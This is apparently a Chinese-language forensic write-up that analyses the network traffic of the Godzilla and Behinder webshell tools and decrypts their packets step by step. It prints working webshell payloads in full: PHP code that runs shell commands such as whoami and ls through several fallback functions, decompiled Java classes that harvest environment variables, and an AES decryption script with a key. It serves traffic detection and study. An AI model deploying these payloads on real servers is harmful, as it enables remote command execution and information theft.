Godzilla
在连接的第一个包中 解密流量为一些功能函数 代码执行、文件操作数据库操作等功能函数
第一个请求包 没有返回数据
第二个包 发送一个test固定测试数据
返回数据为 ok
第三个数据包 是
请求的方法为getBasicInfo 获取目标的基本信息
返回包数据为目标主机的一些环境变量信息
在命令执行时methodName为execCommand
返回数据为执行的命令结果
冰蝎
php shell流量
第一个发送包流量为 aes-128加密 加密密钥为冰蝎的连接密码md5值前16位
解密脚本
<?php $key="e45e329feb5d925b"; $post = "待解密的内容"; $post = openssl_decrypt($post, "AES128", $key); echo $post; ?>
第一个返回包也是aes128加密 解密如下
第二个请求包可以看到是执行base64解密后的内容 获取phpinfo 主机基本信息等
error_reporting(0); function main($whatever) { ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean(); $driveList =""; if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")) { for($i=65;$i<=90;$i++) { $drive=chr($i).':/'; file_exists($drive) ? $driveList=$driveList.$drive.";":''; } } else { $driveList="/"; } $currentPath=getcwd(); //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList; $osInfo=PHP_OS; $arch="64"; if (PHP_INT_SIZE == 4) { $arch = "32"; } $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch)); //echo json_encode($result); session_start(); $key=$_SESSION['k']; //echo json_encode($result); //echo openssl_encrypt(json_encode($result), "AES128", $key); echo encrypt(json_encode($result), $key); } function encrypt($data,$key) { if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); } }$whatever="d3JmeHkzaWhEMzRiTUJYNXFlOW1FTEQ4UEJHNmVTN1dBZXRGbng1VDJSTFZ1YjRJZ2xHNEU5WkVsbWNLcUZPc0N2REttME9IQkVadFNpNmVGWjlZSGNjWkdXWVdvVFFGUnQyVFE2NzZEYTNlYm9UTXFKVXpIc01scVFZcXdnUXlheEpiOG14Z3Nxd0g2R0w0UG1VVkpDaHNNUHJnSjM1TVo3SXByV241cmJhRzRDdzgwUDNqbnlsa2hwRXIzdGhQcE9aWU45OWUyTHFXS3M0d2hkbEtPekw2VkZaZkw5bHBSQ3hTQWtoTk5zZDJyc3gxSlpxZEpZT2lyT1QyR21MVHpKTkVEWGNvOTM5cVlLUjFKWEEyTHNvWVFwYW0zc3hodHhkTXhpQ21RZWdzMlh4a1FLRHRGOHo3bXByQ2hjZG85WXp0QjJ2enhTWjViSHhwQkhPV21BV2Zqd0dkeDJjMHpUSXNYYjBKMGVEam1DUGlJeklvalRtMkRKVTBhb2pQUTh6VHVINk85amljYmdhWDF4bjNWYnY3bTFlclZhbWd4TUZhMFE5NDJGZEtqTEs5U1BkbHh1TjRzaEdaVklpRHFvc2pLUWhrTEpiajQ0TlFFMmVyVVQ4QjFlRjN2bGhLbzR3eXVGSlBNdzZaVjlhYTRQUVdMazVGbklkbFl6NXQwcnNhYktNaEVGOGszS1lNYWZsWExvSDAyZXNPMGVIVWUxejhFNVd1YjdNZWhUOFNOdlNxOXcwQWRjeExXUWhJRFp1NWVjdDhBVWYzQW1MS0x3S1NqODBuMzBiV1dSNm1UM2xqc25ma2pSNU0zdlBBU092QU04YzRhTTFrUEtZbVNWU3puUzM0ZzJyTUxidWYwNHJJNko2ZFZDdGVabHgyS1Fqd2NzOEFNakZkUGdLN3YxSmxnM0dleUZsMUowaTRUczNBeU44RkhVOGVhS3ZJR2pVYzJpMUlhSDdiUEhpNFBWVXc0ZG5Gc3ROVlpUZ05ueTVtRmFrTGZQTExBZ3p0S0t5em1rdlE0SlNMelZqV3RWQUp3VnRMNDh0dVlFZEhnNm40cld0V2hpYjFPcGJINEU5Ym1wZUxOS0FlbVJ0RUpua1RQN01pRDlERWR4TWI5R0pSb082RnU0WU9iZTNuTmx0WU4wZ211dGpleTdPYVEySDVEbkZWelMwd295RTRpVWo3YnIyQzhKVFo4N1cyeVNCYkE4SVNvNGhKSzgwaUs1MFBBUVVKVnRDamhiNkFwTkpYMDdFVWRpWndWVXR4VnBiMGFYNGpocW1sWU14NERaSW9LSlpaaUsyWWxES1ozcUpVR2EzV09VdURxMjllZ0M5RDk0TDRwZEJTMUhTem5HbWk2aXJCc05OZEt4c2VOaHJ2YURrM2pqelVadnRrTFNCcHpqZHlBVDFLT3JQTDRkazQzd1prUVR2OEZrWlhlb2dhV2hmRFRQUTQ0T3hVazJTRlpSVzZYQ2hoY3VwSnA2WnV3ZXRMVDM5RmZsT3NnMThyOE8zZ2lCQlhhY2R4Q0ExQkVrUTZKREh0QzZPUGtQWktGSThWSnJHOENKanM4aHp0ZDRsbW5razNJQktiMzU2ejJ4UkNqY2ZXQXBtZ2N0MmgwTU1NSVhwRUc2SUNJNFB4QzI0NHdQc2F6QW50S2IwNmlJOThTc1ZMaWRMZEZyME9nM2VPSG5qYkpDcXltdzdyODBoeVk3S01lSUVsdVNkMWgyejlGVlE0N0x4aFU5bmRFMjZwRXBxR2h0MEREZ3ZIb2NWMUUwTEZpa1pMU3NLaTVuSEhVOGtvVE5Tb3M0RFg4WDdtSVVjcGp0RTYwQWVIbEZrV29hcEluVVJId1A2dGdCVGFSQ290M2FHNHMzRXBOQWhleWdWN3hHQ0ZLeWZNbHNyZjNmWXRGN2ZtVnJ5Q3RZejBFUTdhZUlVRldob2RHc0N1MHFRc0VMVnlNR3hEMGRrTTZ4VXhTbmNNZE45Q2lSTk9xNk96UTR2ZzFtQXNGanBLdVI4N2lwdU1HWHVRYXoyWXZpUFlmcjJvVHU3UzNCbG5JRmRobHpUUGxNY3ZESmRFRDlVc0NEYlVLc1JZOGhJSGtBZXBPQnR3M0pVUTBEcndwN0dhUEJwQnRycUFXWklLdGlrQWlrQ2pnWkhjcDFqRU1vRGFjczZrNDBNVzhIakZkWUZCOGMxMUdJaHlGTERSR3ExYnEwMkJLMmxjUkZzUUJuQ1dyS1gyYkR3THlYTnlBQ3BVQjBXMHBRN2lkb1VUM1N4ZWNGMldxZktEZWdDOEVnUVBLQW92cFVtTUlNZHZlS1RRc1JBSXhzcFBBQzRkUURPbHNxU3NPdjdCMXJkZXVZenNzTW1ueDRwTGl4OW5DZUlyNGFkaVNXRGQxMURpU2Q5ZFgzT3Fxa0pRdXRXR3BjMFlVeFZmYllxQ3ZFcFZ4elZLSm1HYzJJWnQ1Q0lDVlVnMmVWNHROc2VwN0lWMEZ2UUNFcnB5NnI2QzBoWldkUG80VmNhZDR1RmRZaVNpV2l2WER1cW53aVB3S21YVmZuMnRhc3pKSUpKS3FldlF3UVU0S0JIMER0QzgyakhyRDdtckpOek9sUTJ2Q1cwV3Q2aUU4SVVVVHBhaFJzWEc=";$whatever=base64_decode($whatever); main($whatever);
第二个返回包的内容为一个phpinfo页面和主机信息等 返回包非常长
当点开命令执行后发送第三个数据包 请求命令执行函数
@error_reporting(0); function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); } } function main($cmd,$path) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result), $key); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result), $_SESSION['k']); } function encrypt($data,$key) { if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); } }$cmd="Y2QgL3Zhci93d3cvaHRtbC91cGxvYWQvO3dob2FtaQ==";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC91cGxvYWQv";$path=base64_decode($path); main($cmd,$path);
解密$cmd中的内容 发现执行的命令为whoami
第三个返回包内容
base64解码后返回的为命令执行的结果
在执行ls时
发送第四个数据包
@error_reporting(0); function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); } } function main($cmd,$path) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result), $key); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result), $_SESSION['k']); } function encrypt($data,$key) { if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); } }$cmd="Y2QgL3Zhci93d3cvaHRtbC91cGxvYWQvO2xz";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC91cGxvYWQv";$path=base64_decode($path); main($cmd,$path);
只是更改了数据包中$cmd的值
发现规律 每个包前面几个字符都一样 返回包也是前面几个字符都一样
jsp shell流量
在冰蝎3中jsp的流量与php完全不同,
jsp马的请求包流量是base64编码后的class文件再进行aes128加密的
jsp马的返回包流量是aes加密后的二进制数据
开始分析请求包流量
第一个请求包 特征 uA头有application/octet-stream 只允许二进制流提交
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package sun.luw; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Toxoudv { public static String content; private Object Request; private Object Response; private Object Session; public Toxoudv() { } public boolean equals(Object obj) { HashMap result = new HashMap(); boolean var13 = false; Object so; Method write; label77: { try { var13 = true; this.fillContext(obj); result.put("status", "success"); result.put("msg", content); var13 = false; break label77; } catch (Exception var17) { result.put("msg", var17.getMessage()); result.put("status", "success"); var13 = false; } finally { if (var13) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var14) { } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var15) { } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { } return true; } private byte[] Encrypt(byte[] bs) throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); byte[] raw = key.getBytes("utf-8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(bs); return encrypted; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } }
返回包需要使用16进制进行aes解密
返回内容为
msg:H3RHDfu3bfzv7gpAH9QvUA6Bem3tf6c0uSYGg66IkBOLQxJBfs55tsZaQAtGqUpI7qmKV0XjHrGAh5hEdKNV80uCOJMAN5q3fLdfyfXYL9fow0w09ZXLiM3hOE7nQEIHCqnvKW3rlBEkBBMaFSH5PDD3vqg0CuuXlPcZnCOKm6R8VtMQIf92xZB7TqBHViCZcgz1prLEX4I6SxS3l3uWeatllolAG1klMjcB4IxqpgqPpWhIOgLrqQYDfhmwlZgcfIXBoiQCRIhLzRaaF2T2zlvZk5SV41wN2ZD4hW4ZacOUYlP31gjdd8uwPnsPEKaqu2TTFjXjLsk8BYwhro2Woj5j9RHbZYz0YWhVoMIt2FFC9HwmM6i4WlfTvAJ5Ew3SdpFYebbIa5jYIXCVWQtDhpLQOlQnRVL98xLnnbDsFJ6smE2cSWyp3ff1LAg8ywAOMoWLbDu4M7PXFdZXzyihSWhI5n0CTucxCwj2AwHJZlIVn69J2isFyqEw7eR7IuxUlKMMBTRelYP9ZV3TxHNdWBdeiNnYGPWiHuNAetqiLi0reVyeNfsYiZrubjZRhx8EQyJ42ahjuxbnSDQJ8mReJOs4sYr8gZBBXw2WHhqTVdSB4nTiRXYRyLkk0iTkpaM28sekcBdDbKcjfTg2HJa2Xiqex7uJkF25JbfqlgH4PUhAvpezfmsCJsHmaCSnGnRGF9bpEqjD8HFqloxkqhi4lc7G7bOKDQkoCCUBxCGpXYzYbjoEaeMBBr73P3WWsfLTXm4W2g8yBFWm8gUnZzgk9gMS6RC0G3cRp1 status:success
解密第二个请求包
请求系统环境变量等基本信息
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.hbgztr.kobl; import java.io.File; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Properties; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Cdgsswsvu { public static String whatever; private Object Request; private Object Response; private Object Session; public Cdgsswsvu() { } public boolean equals(Object obj) { String result = ""; boolean var22 = false; Object so; Method write; label132: { try { var22 = true; this.fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); Iterator var5 = env.keySet().iterator(); while(var5.hasNext()) { String name = (String)var5.next(); basicInfo.append(name + "=" + (String)env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); Iterator var7 = entrySet.iterator(); while(var7.hasNext()) { Map.Entry<Object, Object> entry = (Map.Entry)var7.next(); basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = (new File("")).getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); File[] var10 = roots; int var11 = roots.length; for(int var12 = 0; var12 < var11; ++var12) { File f = var10[var12]; driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); result = this.buildJson(entity, true); var22 = false; break label132; } catch (Exception var26) { var22 = false; } finally { if (var22) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var23) { } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var24) { } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(result.getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var25) { } return true; } private byte[] Encrypt(byte[] bs) throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); byte[] raw = key.getBytes("utf-8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(bs); return encrypted; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } }
解密第二个返回包内容
返回的是目标环境变量信息
osInfo:Linux5.19.0-41-genericamd64 driveList:/; currentPath:/usr/local/tomcat arch:amd64 basicInfo:<br/><font size=2 color=red>鐜鍙橀噺:</font><br/>PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br/>TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz<br/>JAVA_HOME=/docker-java-home/jre<br/>CATALINA_HOME=/usr/local/tomcat<br/>CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1<br/>LANG=C.UTF-8<br/>TOMCAT_MAJOR=8<br/>TOMCAT_VERSION=8.5.19<br/>HOSTNAME=569e586394aa<br/>JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1<br/>LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib<br/>OPENSSL_VERSION=1.1.0f-3<br/>TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc<br/>TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib<br/>PWD=/usr/local/tomcat<br/>JAVA_VERSION=8u141<br/>SHLVL=0<br/>HOME=/root<br/>GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23<br/><br/><font size=2 color=red>JRE绯荤粺灞炴��:</font><br/>java.runtime.name = OpenJDK Runtime Environment<br/>java.protocol.handler.pkgs = org.apache.catalina.webresources<br/>sun.boot.library.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64<br/>java.vm.version = 25.141-b15<br/>shared.loader = <br/>java.vm.vendor = Oracle Corporation<br/>java.vendor.url = http://java.oracle.com/<br/>path.separator = :<br/>tomcat.util.buf.StringCache.byte.enabled = true<br/>java.util.logging.config.file = /usr/local/tomcat/conf/logging.properties<br/>java.vm.name = OpenJDK 64-Bit Server VM<br/>file.encoding.pkg = sun.io<br/>sun.java.launcher = SUN_STANDARD<br/>sun.os.patch.level = unknown<br/>tomcat.util.scan.StandardJarScanFilter.jarsToScan = log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar<br/>java.vm.specification.name = Java Virtual Machine Specification<br/>user.dir = /usr/local/tomcat<br/>java.runtime.version = 1.8.0_141-8u141-b15-1~deb9u1-b15<br/>java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment<br/>java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed<br/>os.arch = amd64<br/>java.io.tmpdir = /usr/local/tomcat/temp<br/>line.separator = <br/>java.vm.specification.vendor = Oracle Corporation<br/>java.naming.factory.url.pkgs = org.apache.naming<br/>java.util.logging.manager = org.apache.juli.ClassLoaderLogManager<br/>os.name = Linux<br/>sun.jnu.encoding = UTF-8<br/>java.library.path = /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib<br/>java.specification.name = Java Platform API Specification<br/>java.class.version = 52.0<br/>sun.management.compiler = HotSpot 64-Bit Tiered Compilers<br/>os.version = 5.19.0-41-generic<br/>java.util.concurrent.ForkJoinPool.common.threadFactory = org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory<br/>user.home = /root<br/>catalina.useNaming = true<br/>user.timezone = Etc/UTC<br/>java.awt.printerjob = sun.print.PSPrinterJob<br/>file.encoding = UTF-8<br/>java.specification.version = 1.8<br/>tomcat.util.scan.StandardJarScanFilter.jarsToSkip = bootstrap.jar,commons-daemon.jar,tomcat-juli.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,tomcat-api.jar,tomcat-util.jar,tomcat-util-scan.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-jni.jar,tomcat-websocket.jar,tomcat-i18n-en.jar,tomcat-i18n-es.jar,tomcat-i18n-fr.jar,tomcat-i18n-ja.jar,tomcat-juli-adapters.jar,catalina-jmx-remote.jar,catalina-ws.jar,tomcat-jdbc.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar<br/>catalina.home = /usr/local/tomcat<br/>java.class.path = /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar<br/>user.name = root<br/>java.naming.factory.initial = org.apache.naming.java.javaURLContextFactory<br/>package.definition = sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.<br/>java.vm.specification.version = 1.8<br/>sun.java.command = org.apache.catalina.startup.Bootstrap start<br/>java.home = /usr/lib/jvm/java-8-openjdk-amd64/jre<br/>sun.arch.data.model = 64<br/>user.language = en<br/>java.specification.vendor = Oracle Corporation<br/>awt.toolkit = sun.awt.X11.XToolkit<br/>java.vm.info = mixed mode<br/>java.version = 1.8.0_141<br/>java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext<br/>sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes<br/>server.loader = <br/>java.vendor = Oracle Corporation<br/>catalina.base = 